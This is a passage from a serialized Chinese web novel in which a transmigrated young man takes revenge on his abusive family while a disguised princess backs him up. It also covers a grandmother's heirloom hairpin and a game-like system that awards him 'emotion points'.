却见这小姑娘竟在无意间靠近了几分,仰着头,嘴角含笑,一双眸子忽闪忽闪地盯着自己。
不对……
江少爷何其老辣,少女心思那是一看就透。
这个林柔,十有**是以前就对原主有那么一点意思了!
“刷!”
正当此时,一道刻有龙形图案,镶嵌紫金纹路的剑鞘横在两人视线中间。
江云帆连忙回神。
转头一看,却见身后的墨羽正双臂抱怀,单手握着“龙念”的剑柄,直接把剑鞘怼到了前面来。
林柔被吓得神情惶恐。
江云帆则赶紧劝说道:“别激动,墨羽姑娘,行为友好的人,咱们不用砍。”
墨羽收回长剑,嘴角勾起一抹冷笑:“我这是为她好。”
“为她好?”
“没错,因为有的人比较小心眼……我怕那些不知分寸,与你走得太近的人,会莫名其妙招来横祸。”
听闻此话,江少爷当即眉头一皱,大义凛然:
“是谁这么恶毒?”
“……”
墨羽目光一横,杀意顷刻四散。
……
此时此刻,某个小心眼姑娘的马车,正停足在凌州最豪华的永丰茶楼门外。
楼内一间雅阁之中,两位绝色女子坐于窗前小桌旁。
当然,哪怕是许灵嫣自己也清楚,每当与秦七汐共处之时,自己平日再耀眼的光芒,也会黯淡到微弱难寻。
“小汐,我认为你应该相信我。”
气氛稍显安静,唯有许灵嫣的话语声,“待青璇调查回来,你就会清楚,江云帆究竟是个什么样的人!还有,那目睹江云帆与入云居士同行之人,必然不是空穴来风,江云帆借助老居士作品为自己谋求名利,你真的愿意原谅他吗?”
“小汐,那可是你的外公啊!”
许灵嫣的规劝,可谓苦口婆心。
然而那一袭金丝白裙的女孩,只将目光投向窗外,看着街道上的人来人往。
良久之后,她缓缓开口:“灵嫣,你还不明白吗?”
许灵嫣皱眉茫然。
秦七汐转过头看她,嘴里继续说道:“我自然是想念外公,可心里却很清楚,那些诗词,不是由他所写。灵嫣……你有没有想过,是你的执念太深了?”
“……!”
许灵嫣瞳孔微微一收。
执念……太深了吗?
难道她对江云帆的了解,还不够透彻,不够真切吗?
第168章 **姐和秦姐姐,总有一个心动的
断气了?
怎么会断气了?
如果江云帆早在当时就已经**,那么如今这个会写诗,会酿酒,才艺惊人,潇洒烂漫的人,是谁?
秦七汐和许灵嫣的呼吸,都在一刹那间止住了。
她们当然不相信这世间存在什么死而复生的事,也不会认为是出现了一个同江云帆一模一样的人,代替了他的人生。
所以最好的解释,便是江云帆当时的断气,不是真的断气。
而是“如断”!
也就是伤得太重,在旁人看来,就和**差不多。
“这江老爷子怎么就能狠心,下这么重的手?”
饶是许灵嫣,此刻也忍不住皱紧了眉头,眼眸之中闪烁的尽是无法理解与不忍心。
诚如青璇所言,当初退婚之后,她立刻便离开了江家,对于后来发生的事,是一概不知。
她怎么也没想到,江家人在驱逐江云帆之前,竟险些将他打死!
一想到这一切很可能是自己导致的,许灵嫣心里升起的慌乱,就好似整个人被无边无际的黑暗彻底包裹。
江云帆这一路走来,一定很不容易吧?
关键都这样了,自己居然还要出现在他面前,一再对他进行言语贬低和打压。
怪不得,江云帆总说是她纠缠不休。
许灵嫣突然有些自责。
而反观秦七汐,她坐在原地沉默了许久,目光一直呆滞地望着窗外。
时间过去良久,那一阵风好似兜兜转转又吹了回来,再一次将她耳后的几许发丝撩起,银质流苏发坠也随之微微舞动。
思绪回神之际,红唇轻启:“走吧。”
“去哪儿?殿下。”青璇连忙站起身来。
“去江家,本郡主向来不喜欢吃亏。”
秦七汐声音冷冷地撂下一句,而后直接迈动脚步,朝门外匆匆而出。
青璇一脸无语地耸耸肩。
确实无语啊,她寻思这吃亏的人,好像是江云帆吧?
咋就成殿下您吃亏了呢?
见主仆二人离开,许灵嫣自然也不耽搁,立马起身跟了上去。
她说不清楚为何,明明以往每一次见到江云帆都会让自己厌烦甚至恶心,但是这一刻,却突然有种见不到他心里不舒服的感觉。
应该不是后悔了吧。
或许,只是同情那家伙的遭遇……
殊不知,此时此刻。
让姑娘们同情又挂念的江云帆,正在享受一件难得的爽事。
运气比较好,当一行人来到江府东院时,那片烂泥坑还在,并且还因为近日往花园引了水,里面的泥泞格外湿润凌乱。
江宏远远看见,心里便狠狠抽搐了一下。
这烂泥坑,是勤儿当初千叮万嘱让自己不要填平的,就等着哪天再把江云帆兄妹推进去玩玩。
只是没想到,最后却用在了他的身上!
“云帆呐,大伯可是一点一点看着你长大的,今日真要把事情做得这么绝吗?”
“大伯哪里话,我这也是为你好啊!”
“为我哪样好?”
江宏都快哭出来了,偏要自己跳什么泥坑,在里面像狗一样爬来爬去,还要当着这么多晚辈后生的面!
拜托,我可是江家的大老爷啊!
我不要一点颜面的吗?
“自然是为大伯身体好!”
江云帆满脸都是正经,“二哥曾经说过,这引灌花园用的可都是山泉水,洁净纯澈,混合泥土洗涤皮肤,可祛尘除杂,预防疾病,甚至延年益寿。大伯也一把年纪了,难道就不想多活几年吗?”
“这……”
江云帆越说,江宏越是难受。
“那不如这样,你待我招待完客人,再来慢慢洗,可好?”
“客人来都来了,不得给大家演示一下如何强身健体?还有,大伯啊……你以为我是在跟你商量吗?”
江云帆忽然语气一寒,“你若是不跳,我今天就算宰了江元勤,又有谁能阻拦?”
“你敢!”
江宏也怒了,“你胆敢动勤儿一根手指头,他大哥必将你**万段!”
“比后台?别忘了我也有啊!”
“你……”
江宏本想再辩,却又不得不将狠话收回腹中。
是啊,江云帆也有后台。
自然不是指那高高在上的临汐郡主,毕竟仅凭护卫女子所持的一把剑,是真是假犹未可知。
江云帆真正的倚仗,是镇守边关的父兄。
当年江朝北出征前曾委托他照看妻儿,声称若有人伤害他们,便寄信告知,哪怕千里**也要回来讨个公道。
江宏
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怕江朝北,一直都怕……
“走你!”
就在他愣神之际,江云帆也是不讲武德,忽然一掌将其推下。
江大老爷“噗通”一声落入泥坑,由于重心不稳,身体失衡向前趴去,直接摔入烂泥之中。
“喔哦!”
这突如其来的一幕,惹得在场年轻人惊呼不已。
“世叔,您这是作甚?”
“世叔应该是没站稳吧,来,让我拉您一把!”有人伸出友善之手。
但江宏并未接受。
他慢悠悠地坐起身来,然后转过脸,冲着众人咧嘴一笑。
被淤泥染黑大半的脸上,当即露出两排黄牙。
“噗……”
有人憋不住笑到一半,但又不得不强行忍住,一个个脸都憋青了。
林柔出身小家族,她不敢笑,只皱着眉头地戳了戳江云帆的手臂:“云帆哥哥,大老爷这是在……”
“各位不必惊讶。”
江宏的笑容依旧,“实不相瞒,我江家的水,乃是引自凌山之巅的天泉,极为滋补!还有这浴泥之法,也是十分有效的养生之道,平常绝不外传,今日展示与你们,切记不要外传!”
事已至此,他倒不如顺着江云帆的说法,来掩饰自己的尴尬。
“原……原来如此啊!哈哈哈。”
几名年轻人笑得极为勉强。
江云帆也适时开口:“大伯,既然要展示,不得展示全面了?”
“是该展示全面一点。”
江宏在心里把江云帆骂了千万遍。
但身体很诚实,埋头一翻,直接在泥坑里打起滚来。
在场众人把眉毛鼻头都皱到一起去了。
实际上今天这泥坑,江云帆本是打算让江元勤来跳的。
最后换成江宏,倒也不赖。
脑子里的记忆很清晰,当初老爷子在下令杖罚原主时,这人可是在旁边好一番添油加醋、言语刺激,惹得老爷子火上加火,不断催促人下死手。
穿越而来,江云帆是想躺平的。
他原本打算就这样安安稳稳度过一生,不去追究原主的恩怨。
但在江元勤寻到秋思客栈,堵截和威胁江滢那一刻,他知道安稳已经不可能了,麻烦总会主动找上门来。
要想彻底安稳,就只能解决麻烦!
第169章 她是来找我的
抵达江府大门前一刻,沈远修与江云帆并排走在一起。
“方才这场戏,江公子可还尽兴?”
沈远修对江云帆的过往有些了解,也看得出来,今天江公子有仇报仇,是真性情了一把。
只是,与平日那一身朴素又温文尔雅的客栈小厮判若两人。
“没办法,若不主动出击,只会被动挨打。”
江云帆本不想在人前显圣。
但他自问,自己能在镜源县藏一辈子吗?
藏不住的!
他心里很清楚,如果自己不解决江家人,那么对方一定会对他和江滢赶尽杀绝!
沈远修自然也知道这一点。
贵族世家为了争夺继承权,手足相残什么的,屡见不鲜。
他只是觉得今日的江云帆很不一样。
以往从他的诗词里,沈远修能读出超然洒脱,能读出不羁放浪,却从未读出过今日表现的这种……枭雄之气!
殴打一个普普通通的贵族老爷不算什么。
但这种冲破阶层的无畏,他在大乾数辈年轻人身上,还前所未见。
这与三月前冲破银河的那颗异星何其相似?
强横,霸道,摧毁一切!
看来往后无论江云帆能不能为王爷所用,这个人他都得盯紧了。
……
“江云帆,我等你很久了!”
几人再度回到江府正门外。
远远看去,江元勤早已守在门口,一脸阴冷地看着这方,“你让罚的下人罚了,让跳的泥坑也跳了,当着归雁先生的面,该信守承诺,把药交出来了吧。”
“当然,没问题。”
江云帆将那衣襟潇洒一甩,伸手便从怀中掏出整整一板布洛芬胶囊。
随后,在江元勤贪婪的目光下,转头递给江滢:“去吧,赶紧给阿婆送去,告诉她若再发热,每间隔两个时辰以上,便可以服用一粒。”
“江云帆你什么意思!”
见此一幕,江元勤当场怒了,“你是在跟我耍花招吗?”
“二哥何出此言?”江云帆一脸无辜,“你看,这药是给祖母的,我让江滢立马送去,一片孝心如此感人,怎到你口中却这般不堪呢?”
江元勤算是看明白了,江云帆这厮,纯粹就不要脸!
既然多说无益,那便不如直言:“今日我就把话挑明了说,这药若是到不了我手里,这江家你进不去,也走不掉!”
“?”
听到这话江云帆顿时晕了。
进不去也走不掉,就这样一直杵在门口吗?
江元勤没有再开口,而是迈步到台阶前,朝着沈远修和林涯同躬身行了一礼:“沈先生,林院正,家中老爷子本该亲自前来相迎,奈何腿脚实在不便,只得在府中备好茶水,烦请二位随侍女一同前往,晚辈稍后便来作陪。”
说完,招来两名侍女。
沈远修迟疑一瞬,但很快接触到江云帆支持的目光。
他点点头,与林涯同一起步入江府。
于是乎,现场立马空旷了不少,就只剩下江云帆和江元勤两兄弟,以及拿着药也打算入府的江滢和林柔。
至于墨羽,似乎是没兴趣听这些家长里短,找了棵树桩远远靠着。
待沈远修二人走远,江元勤立马回过头,恶狠狠道:“无需多言,江云帆……胆敢让我父子受此大辱,今日定要你付出代价!”
江云帆闻言笑了:“谁要跟你多言?”
“你……”
江元勤一时气结,但很快又继续开口:“不过你以为仰仗一个女人,就可以在凌州城横行霸道了吗?大错特错!”
“我告诉你,待孙统领到场,立刻将你就地拿下!”
江宏去跳泥坑的空档,他可没有闲着。
立马让人赶往军营,去请城卫军统领孙玄前来主持公道!
毕竟自总督杨恒调任南关后,孙统领就是凌州军务的掌权人,能够随意指挥调动士卒。
江云帆身边的女人再厉害,能打得过一群训练有素的精兵?
况且,孙玄当年可是在南毅王秦奉帐下征战过的老将,对王族一脉有足够的了解,说不定能分辨出那女子手里的宝剑,究竟是真是假。
“孙统领到!”
就在这时,远处路口一道高呼传来。
紧接着,便是密集的马蹄声响。
江元勤当即大喜,连忙丢下江
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云帆等人,前去迎接。
很快,一群骑兵疾驰而来,纷纷奔至路旁。
为首一人,看模样五十岁上下,个头不高,眼小面宽,嘴尖腮圆,脸颊有一道刀疤,唇上还长有两撇八字胡,看人时目光斜视,眼珠子溜溜地转圈。
江滢远远看见,明显有些慌乱。
“哥,这个孙统领不好惹,他上个月就把城东一个商贩的腿给打断了,现在没有人能管他,更是什么都做得出来!”
林柔也表示赞同:“云帆哥,要不咱们赶紧走吧?”
走,显然是来不及了。
孙玄下马之后,先与江元勤相互招了招呼。
“感谢孙统领,亲自到场解围!”
“江大人不必客气,你可是未来的怀南城主簿,孙某往后恐怕会有不少事,得劳烦你帮忙。”
“孙统领放心,我江某必定全力以赴!”
两人互捧了几句,而后领着一行三十余名披甲带械的士兵,朝着江云帆等人浩浩荡荡而来。
孙玄比江云帆矮上一大截,但并不影响他抬头时一脸冷傲。
“我兄弟的手,就是你打伤的?”
打伤手,自然是指此前入城之时,在门口横加阻拦的偏将周尧,在与江云帆的扳手劲较量中落败。
“是我伤的。”
江云帆供认不讳,“阁下若是讲理,咱们倒可以论论孰对孰错,若不讲理,那就直接说想怎么样吧。”
“呵……”
孙玄咧嘴一笑,露出两排大黄牙,“我孙玄从来都是讲理的,不过这理,可得有我定!你伤了我兄弟手腕,那我就剁了你的手,咱们扯平!”
说完他大手一张,两名甲士立马上前。
江元勤在一旁看得直呼快哉,终于,江云帆这废物嚣张这么久,总归是要付出代价了!
“唰!”
就在这时,一柄明光闪闪的利剑,突然横在两名甲士与江云帆中间。
孙玄眉头微微一皱。
睁眼看去,恰好看见黑衣女子手中的利剑之上,正印着微微泛光的紫色九龙纹。
“这剑!”
一双小眼强行瞪大,孙玄当即愣在原地。
……
第170章 天仙算得了什么
注意到那白裙女子的,自然不止江元勤一人。
孙玄虽然慌乱不已,找了个角落缩着,但还是忍不住抬头偷偷去看。
这一看,险些把魂给吓掉。
日光氤氲,见那俏然挺立的身影映得格外清冷,步履翩翩之间,众生万物,仿佛都为之咽声屏息,空气静若凝滞。
孙玄他当然惊恐。
严将军何等人?能让他亲自率军随行,面见之时还要毕恭毕敬行礼的,那是什么样的存在?
早些年他有所耳闻,战乱之年,严横乃是王爷前锋大将。
而到了和平时候,严横便奉王命,专门负责保护临汐郡主的安全!
也就是说,场中白裙女子的身份……已然明了。
整个大乾谁不知道?
那临汐郡主,可以说是这世上最不好惹的人,南毅王视之如命,整个江南都是她的奴仆,哪怕是那庙堂之上的帝君,也要对她礼让三分。
毫无疑问,临汐郡主驾临凌州,无异于王爷亲至!
而他孙玄,不过是个小小凌州城中的一个小小防卫军统领,哪里敢正眼相视?
**郡主来江家是要做什么。
只希望一切顺利,不要出现什么变故。而自己也不要那么倒霉,因为到此抓人,惹上不必要的祸端。
“哥……哥。”
“我们要不要让开啊?”
先前孙玄命令手下围上来的时候,江滢本就已经吓得不轻了,这会看着黑压压的骑兵堵满整条街道,小脸更是慌得通红。
“是啊云帆哥哥。”
旁边的林柔同样满眼忧色。
她不动声色地朝江云帆挪了挪,并伸手牵住他的衣角:“这些人好可怕,要不咱们还是偷偷离开吧。”
江云帆目光直视前方,并未做出回应。
也就在这时,方才拦在身前的墨羽忽然将手中长剑收鞘,而后往旁边连退三步,让出一条开阔的通路。
这一走,方才被她所遮挡的那道身影,立马映入江云帆眼帘。
江少爷当即愣住。
这一袭倩影,尊贵闪亮的金丝白裙,优雅的体姿,修长的双腿与白皙的天鹅颈,他再熟悉不过了。
脸上那一张面纱,虽然遮住了大半面庞,却完全掩盖不了独一无二的神韵。
诚然,仅凭面纱,秦七汐能瞒过江云帆第一次,但注定瞒不过第二次。
但此刻她面无表情,双眸之中是绝对的孤傲与高冷。
在所有人目光注视下,一步一步走到江云帆的侧前方,而后顿住脚步。
一时之间,全场愕然。
江元勤茫然呆在原地,本打算怒骂江云帆一声,话却卡在喉咙里出不来。
孙玄更是脊背一寒。
嘴里呲牙咧咧:“这家伙是真不知道天高地厚吗!严将军都到了,居然还敢站在路中间,惹怒了这位,怕是要连带着我等一起遭罪!”
江滢与林柔两小姑娘,也以为是他们挡住了路,才导致对方停下。
江滢忍不住将身体收紧,恐惧无以言表。
而林柔更是因为紧张,攥着江云帆衣角的手指越发用力,身体也下意识靠江云帆更近了点。
然而下一刻。
当着在场所有人的面,白裙女子忽然抬起右手,凭空横在江云帆面前。
这……
江少爷有些懵,但好在脑子反应还算灵敏。
这个动作在大乾不算少见,主子面对仆人,在需要得到搀扶,或是为了彰显贵族的权威与地位时,都会将手抬起。
这时候作为仆人,就会恭敬地将主子的手臂托住。
可眼下……
江云帆不禁皱眉。
他本以为墨羽所言属实,秦七汐早已随王府楼舫,去了怀南城。
殊不知,竟也出现在凌州。
且不说这姑娘今日登场的排面盛大,关键昨天还同自己平等相待,这会儿咋就把他当成仆人了?
江云帆想不明白,但细思之下,扶一下美女的手而已,作为男人,尤其是一位绅士,倒也不吃亏。
于是他立马伸出手,主动将秦七汐的手腕托起。
秦七汐朝江家大门扬了一下头,江云帆心领神会,搀着她稳步走向府内。
这一幕,瞬间惊呆在场众人。
林柔原地等大眼睛,待江云帆走出两步,这才意识到自己还抓着他的衣角,赶紧把手松开。
倒是一旁的江滢,眼神从原本的愕然,忽然变成了释怀。
第一眼,她只知道这突然出现的女子身份尊贵,隔着面纱,并不能看清对方的样子,只猜测应该很是漂亮。
但就在对方从身旁走过之后。
那缕
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熟悉的温柔的桃花香,轻轻飘入鼻间。
这股馨香,江滢只在一个人身上闻到过,正是昨日在秋思客栈二楼凌波阁内,见到的那位秦姐姐。
“不……不可能,怎么会这样?!”
江元勤眼睁睁看着这一幕,脑子都快炸掉了。
她不是来找自己的,不是来找自己的!
不找自己也就算了,可如此大动干戈,偏偏是为了江云帆!
凭什么啊?
那个废物,凭什么比得过自己!
“统……统领。”
一名凌州城卫军的小兵,悄悄来到孙玄身后,声音惶恐,“这位大小姐,好像和我们要抓那小子认识。”
“给我闭嘴!”
孙玄一巴掌扇在他脸上,怒喝道:“什么大小姐,那是临汐郡主!”
“!!”
小兵一屁股坐在地上,目光骇然。
临……临汐郡主?
“都怪江元勤那头蠢猪!”
孙玄痛心疾首,满脸悲愤,“自家弟弟与郡主殿下相识,他不好好巴结也就算了,竟还让我领军前来捉拿,这是把老子往火坑里推啊!这死畜生……”
他真的好后悔啊。
为什么要搭理这什么二甲进士?为什么要来降服?
他躺在府里睡大觉,做做手工活,或者去城里逛两圈窑子,它不香吗?
现在好,若是郡主殿下怪罪,**怎么活……
此时此刻,郡主殿下已经随着江少爷,迈步跨入了江家大门。
秦七汐依旧面无表情。
倒是江少爷,早就已经勾着嘴角,憋不住笑了。
爽啊!
脑子里连番响起提示音,情绪值肉眼可见地上涨,很快便超过了一万二!
尤其是江元勤,这家伙被惊得不轻,提供了刚好250点。
江云帆特爱从他身上搜刮情绪值,简直就是快乐加倍!
然而得意过后,江少爷一回头,却突然注意到身边女孩注视自己的眼神,多出了几分寒意。
紧接着,一道冷声响起:“我看起来很好笑吗?”
江云帆一怔,立马严肃脸。
“哪里话,这次真是想起高兴的事情!”
“高兴的事情,是指刚才那小姑娘贴在你身上,一口一个云帆哥哥吗?”
“?”
……
第171章 在外面吃了不少苦吧
走廊凉亭,空气极度安静。
时间并未停滞,只是在场的人都分毫不动,好似全中了定身咒。
气场交织最为激烈之处,自然是秦七汐与林柔四目相对的那条线。尤其是小郡主的眼神,比起平日高冷更甚,以至于多出了几分寒意。
她之所以每次出门,要么女扮男装,要么面纱遮脸,反正就是不以真面目示人。
全因父王再三叮嘱,在外莫要暴露身份,避免被人认出。
她一向遵守规则,倒是今日不知为何,在见到林柔之后,心里总是有种说不上来的烦躁,就好似……有人正在挑战自己,所以她选择正面相迎。
不过对于林柔来说,她哪敢与秦七汐对视?
这个女人不仅美貌倾国倾城,就连气质也高贵脱俗,在她面前,林柔只觉自己卑微得像粒沙尘。
所以在撞上柱子那一刻,脑子立马清醒了不少。
但回过神,却发现对方已然迈步走到跟前,甚至越来越近,越来越近,直到与自己距离两尺之遥方才停下。
而后再度重复一句:“我帮你吹如何?”
“不……不用了,我自己揉揉就好。”
此刻林柔不得不抬起头来,一双眸子里闪烁着慌乱。
她哪里还敢让对方帮忙吹那压根不存在的沙子?
要知道,秦七汐的高挑,即便是作为“京城四美”之一的许灵嫣也自叹不如。以江云帆的角度,按照前世标准来看,大概是一米七出头的样子。
而反观林柔,与江滢相似,都属于小巧型的,差一米六挺远。
所以在这个距离下,压迫感十足。
秦七汐并未说话,也无动作,就这么冷冷地盯着林柔。
气氛冷寂了许久。
最后是江滢一脸陪笑着解了围:“姐姐,还是让她自己揉吧,天气酷热,不如我们进屋里聊?”
姐姐?
秦七汐忽地转头看向江滢。
看见那张小脸,一双眼眸之中的冷傲瞬间融化,转而覆上了一层柔波。
她微微眯眼一笑:“好。”
也不知为什么,在面对江滢的时候,秦七汐总是拿不出半点冷漠,尤其那声姐姐喊出来,她感觉心都暖了几分。
“走吧江公子,领我去看望老夫人。”
江云帆点头:“走着。”
一行人转头顺着走廊,朝江家大院更深处走去。
其实江云帆这会心里还有很多疑惑,比如明明说去怀南城,为何会出现在凌州?外面那密集的黑甲铁骑,又是什么情况?
以及墨羽手里的那把剑,王友元为何说它来自临汐郡主。
那剑,墨羽多半只是使用者,而非拥有者,作为主子的秦七汐肯定知晓更多,
但转念一想……自己干嘛要关心这些问题?
上层人的事,与他又没有关系,总不可能是好奇秦小姐的身份,在乎秦小姐的身世吧?
算了……
江少爷懒得再多想,凭着原主记忆里对江府布局的熟悉,主动领路,将一行人带到祖母的居处——兰桂苑。
这里算是江家最亲近的地方了,依着花园建造,环境优美。
“滢滢你先去,看看阿婆情况,若仍旧高烧,及时服药。”
“好!”
江滢早就心急如焚了,踏着快步跑向兰桂苑的客堂。
但刚一走进去,立马便成了无数双眼睛交汇相视的目标。
此时此刻,堂中正坐着不少人。
除了江滢熟识的阿公与三叔之外,还有梁千秋与韦方两名医者,以及坐在主宾位的归雁先生沈远修。
江崇业显然还不知道江滢已经回来了。
看见小姑娘匆匆忙忙跑进来,一张老脸立马添上了几分阴沉:“你这死丫头,最近几日给我跑哪里去了?”
江滢被吓得原地一怵。
“我……”
“不必解释了,再有下次,我就让老二回来,把你送回漠北!”
江滢没再说话,只默默低下头。
心底那种熟悉的恐惧感,又一次攀上心头。
在江家就是这样,房子大,被子软,吃穿住行永远不必担心,但就是那墙太高。
墙太高,所以站在墙下的人,自会渺小。
“还不快进去看阿婆,别在这杵着,影响我与诸位先生交谈。”
“是。”
江滢点了下头,正打算从客堂一侧的通道去往里屋。
可就在此时,身后传来一阵脚步声,只见江云帆一脸平静地走进大门,迎着所有人目光,站在了江滢身旁。
抬眼之间,与江崇业四目相对。
在场众人当即一愣。
韦方与梁千秋率先反应,他们直接从椅子上站了起,各自对着江云帆抱拳。
沈远修也是满脸笑意,正打算招呼。
却在这时,旁边的江崇业忽然伸手指向江云帆,一张老脸气得通红:“你……你这孽障,居然还敢
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跑回江家!”
“看来当初没把你打死,是我太心软了,但是今天一定让你好好长长记性!”
“来人,把江云帆给我拖下去,打断双腿!”
听到这,一旁的沈远修和梁千秋等人顿时慌了。
这江老爷子未免也太恨了,见面就要棍棒招呼,看来他是完全不知道,站在他面前的这位年轻人,究竟有何等通天的本事吧?
沈远修本想开口劝阻。
奈何门外一阵骚动传来,几名护院行动十分迅速,刚一踏入大堂,便直奔江云帆而去。
“都给我慢着!”
眼看就要动手,自客堂一侧通往卧室的入口,一道声音响起。
几人纷纷顿在原地。
江云帆循声看去,只一位满脸皱纹密布,嘴角却挂着慈祥笑意的老太太,正在侍女的搀扶下,无比激动地朝这边走来。
“我的帆儿啊,阿婆我日盼夜盼,可算是把你给盼回来了!”
江云帆立马清醒过来。
眼前的老太太,显然就是原主与江滢的祖母,江家老夫人。邹氏。
在原主的记忆中,有关邹氏的回忆大多都是快乐的。
或者说,整个江家上下,唯一对他们兄妹好的,就只有祖母一人。
万幸就在于,虽说江乃家是由江崇业这个家主说了算,但因年轻时以全邹家之力,拯救江家于崩溃边缘,故而老太太在府上的话语权依旧不小。
“阿婆!”
江滢率先激动大喊。
她快步冲过去,一把牵住老太太。一想到近日阿婆重病在床,受尽痛苦,眼泪就忍不住顺颊而下。
邹氏顺势拍拍小姑娘的手,反倒安慰起来:“好啦,傻孩子,阿婆这不好多了吗?快,让你哥哥过来,我想看看他……”
江云帆闻言走过去,低头行了一礼:“阿婆。”
这下轮到邹氏憋不住眼泪了。
她伸手抚摸江云帆的脸颊,眼眸中写满了心疼:“我的孙儿啊,瘦了……一个人在外面,肯定吃了不少苦吧?”
江云帆慰藉一笑:“阿婆放心,我在外吃得好,睡得好,很是逍遥!”
“对,我可以作证。”
许是未免老太太担心,江滢也在一旁附和,“哥哥不仅生活滋润,还有不少喜欢他的漂亮姐姐!”
“……”
此话一出,全场寂静。
尤其是那江崇业,一双眼愤怒又怪异,直直地锁住江云帆。
第172章 小舟从此逝,江海寄余生
“见过老夫人。”
秦七汐无视了所有惊愕的目光,款步走到邹氏面前,行了个淑女礼。
这一幕把主宾位的沈远修都给吓到了,连忙从座上起身。
能让郡主行礼的,这世上还真没几个。
这会邹氏看着眼前的姑娘,顿时喜上眉梢,上前一把搀住秦七汐的手:“多漂亮的姑娘,你叫什么名字呀?”
“小女子……秦婉芸。”
“秦婉芸……”
邹氏细细品了一下这个名字,但很快就发现了不对劲的地方。
不只是她,在场的江勋、梁千秋与韦方也同样满脸惊疑,江崇业更是跟着沈远修站了起来,眼神逐渐慌乱。
姓秦啊!
这可不是什么普普通通的姓氏,放眼整个大乾,能用秦姓的人都屈指可数!
若非皇亲国戚,或是顶级贵族,哪怕只是读音相近,也都早已被要求改了姓。
也就是说,此刻站在堂中的这位姑娘,乃是大乾最为高贵的那一档存在!
想到这,江崇业连忙挪动拐杖走了过去。
“秦……秦姑娘请见谅,也不知下人为何没有提早通报,未有远迎,实在失礼。”
秦七汐斜着眼睛瞥了他一眼。
不做回应。
她当然不想搭理这老头,今日能亲临江家,纯粹是为了见江云帆。
一来是想探望一下他的祖母,二来,也让当初将他赶出家门的人清楚认识到,他们不在乎的,总会有人在乎!
江崇业吃了瘪,脸色有些难看。
好在邹氏及时解围:“秦姑娘啊,不如你跟帆儿一起,随老身进屋去聊聊,正好我有样东西要给你!”
“好。”
秦七汐对老夫人并无敌意,而且她也确实好奇,第一次见面,对方到底有什么东西要送给她。
她给墨羽和青璇递了个眼神,随后主动搀着邹氏,走向里屋。
经过沈远修旁边时,两人都没有说话。
只能说,城内分别,又在江家相遇,这是心照不宣了。
另一边,墨羽和青璇接到指令,便将手上所提的礼物一股脑放在大堂之中的桌案上。
江勋离得近,偷偷伸长脖子瞧了一眼。
而后狠狠咽了口唾沫,又默默走到江崇业身旁,附耳说道:“父亲,我刚看了,这位秦小姐送的尽是人间稀品,世所罕见的珍膏良药,东海燕窝、雪山白莲、北域山参……每一样都价值千金!”
“当真?”
“当真。”江勋眼神很是严肃,“孩儿务商多年,经手宝物不计其数,却从未见过此等品质的补物。放眼整个江南,能同时拿出这么多好东西的,恐怕就只有一个地方……”
江崇业呼吸猛地一滞。
只有一个地方,即便江勋不说,他也知道是哪里。
江南最为豪华,最为高贵的所在——怀南城,南毅王府!
难道说这秦婉芸……
“父亲。”
江勋的再次开口,打断了江崇业的思绪,“无论怎么说,这位秦小姐家中,比起户部尚书,应是有过之而无不及!不如,咱们就把云帆给召回来,若最后两家婚事能成,那咱们也就跟着飞黄腾达了!”
听到这,江崇业皱了皱眉:“八字还没一撇,江云帆无才无德,人家兴许只是玩玩,哪能真的看得上?”
“那也无妨啊,若婚事不成,再把江云帆赶出去不就成了?”
“……”
江崇业沉思良久。
最终还是点了点头:“那就由你来开这个口吧。”
“是!”
……
邹氏卧房,江云帆被关在了门外。
同在一起的,还有江滢和墨羽,以及全程低调悄悄跟进来的林柔。
江少爷很是无语。
本来回江家就一个打算,看看祖母,把准备好的布洛芬送来,然后就趁早离开,回他的镜湖桃花山。
可谁知,这财神妹子竟也莫名其妙跟了上来。
原本只是几句话就能解决的事,现在倒好,情况突然复杂,电视剧里的经典桥段大概率是要上演了。
实际上他猜得果然没错。
屋内,邹氏拿出了珍藏多年的传家宝——一支缀有宝钻的琉璃钗。
“这琉璃钗,自大乾开辟以来,便是我邹家世代相传的宝物,据祖上所言,其中藏有惊天的秘密,唯有天降之子,方能将其揭开!”
这祖训邹氏一直都记得。
只是几百年下来,无人知晓其中的秘密,也没有等到什么“天降之子”,久而久之,自然也没再当回事。
她将
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装着琉璃钗的玉盒递到秦七汐面前,满脸凝重。
“原本这钗子只传儿媳,奈何邹家落寞,我这一代并无兄弟,最终只得落到我的手上。”
“秦姑娘啊,老身近年已是病痛缠身,自知时日不长。原本打算择一儿媳,将这琉璃钗送出,只可惜老大与老三的媳妇我都信不过,帆儿的母亲又早早离世,所以一直等到如今……”
“送不到儿媳手里,那就只好送孙媳。秦姑娘,你能答应老身,替我将这东西流传下去吗?”
“……啊?”
其实秦七汐全程都是懵懵的。
她自幼深居王府,对外面的人情俗事知之甚少,即便老夫人话语深沉地讲了一大段,她都以为是在听故事。
直至点到自己名字,方才反应过来。
对方这是把她当未来孙媳妇了!
这……
小郡主立马慌了,连忙拒绝:“老夫人恐怕误会了,我与江公子相识不过几日,目前……应该还是朋友。”
这话,是她遵于礼仪下意识说的。
但说完忽然又觉得有些不对,具体不对在哪里,她说不上来,只觉得心里有些不爽。
“原来如此啊。”
邹氏满脸失望地点点头,重重叹了口气,又把目光移向门外,“方才我看见,林家那小丫头好像也来了。既然秦姑娘与帆儿只是朋友,那老身就只好把钗子赠予那姑娘了……”
“等……等下!”
郡主殿下深深一皱眉,脑子里快速思索片刻,随即主动伸出手,将那玉盒揽进自己怀里。
而后红着腮,一脸正色:“此钗太过贵重,切不能随意送人,作为好友,我可以替江公子暂时保管!”
听到这话,邹氏不禁满怀深意一笑。
小女孩啊,太单纯了!
在她眼里,这位气质高贵的大小姐,简直就像一张展开的白纸,纯洁无暇的同时,也藏不住任何的秘密。
其实早在一开始,秦七汐走进客堂的时候,邹氏就一直留意着。
这姑娘表面冷漠孤高,但那眼神骗不了人。
全程看似在直视前方,其实注意力都放在眼角余光上,这孩子,一直在偷瞧江云帆……尤其那神色,似乎是在贪恋每一瞬注视他的机会。
……
第173章 **大海,一缕浪花
【叮,震惊达成,来自江勋的情绪值:+162!】
【叮,震惊达成,来自江崇业的情绪值:+207!】
【叮,震惊达成,来自沈远修的情绪值:+238!】
【叮,震惊达成,来自江滢的情绪值:+175!】
……
现场短暂的沉寂之后,一连串的系统提示音,在江云帆脑中疯狂响起。
爽!
一句诗,几句话,小小的一间客堂,便直接为他赚到了共计1244点情绪值,也让总量来到了12000+!
果然,只要境况适合,震惊到位,就少不了情绪值。
江少爷现在真想一嗓子把秦小姐给喊回来。
然后再把刚才的一番热度挥洒,从头到尾演绎一遍,那样凭借秦七汐高达50倍的奖励倍率,以及额外50%的情绪值提升,估计奖励还得翻个倍。
